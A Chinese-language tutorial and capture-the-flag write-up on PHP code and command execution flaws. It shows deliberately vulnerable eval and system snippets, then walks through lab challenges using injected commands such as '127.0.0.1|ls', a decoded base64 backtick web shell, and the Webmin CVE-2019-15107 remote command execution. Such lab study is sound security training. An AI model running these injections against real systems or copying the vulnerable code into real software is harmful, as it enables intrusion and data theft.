在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞
举例
代码执行
<?php
$code = $_GET['x'];
eval($code);
?>
访问该文件向x传递phpinfo();参数
http://127.0.0.1/test.php?x=phpinfo();
成功执行代码
命令执行
<?php
$code = $_GET['x'];
system($code);
?>
访问该文件向x传递ipconfig参数
原理
漏洞形成条件:
可控变量:变量可以传递参数
漏洞函数:eval就是代码执行 system就是系统命令执行 echo就是输出可以使用xss
web源码:网站应用决定网站漏洞方向
检测
白盒:代码审计
黑盒:漏扫工具 公开漏洞 手工看参数值及功能点判定
靶场案例
靶场一
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
先输入一个ip
可以看到执行了ping命令
所以判断他应该是执行了类似system类命令
接下来判断是linux还是window
随便抓个包试下
可以看出这是一个linux
使用linux的拼接命令执行
127.0.0.1|ls
查看页面源代码
发现是前端js限制
直接使用burp抓包修改
接下来查看key.php文件
靶场二
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
把代码跑一跑看下
<?php
echo gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));
?>
也就源代码为
eval(echo`$_REQUEST[a]`;;?>) #echo+反引号可以执行linux的shell命令 执行的命令就是反引号中的内容
a接收数据
http://219.153.49.228:42010/f.php?a=ls
读取key
http://219.153.49.228:42010/f.php?a=tac key_46331475425346.php
靶场三
webmin登录界面
webmin存在远程命令执行漏洞
webmin 远程命令执行漏洞(CVE-2019-15107)
随便输入账号密码抓包
题目说明key在根目录下
old用来接收命令直接看下根目录
找到key查看文件
完事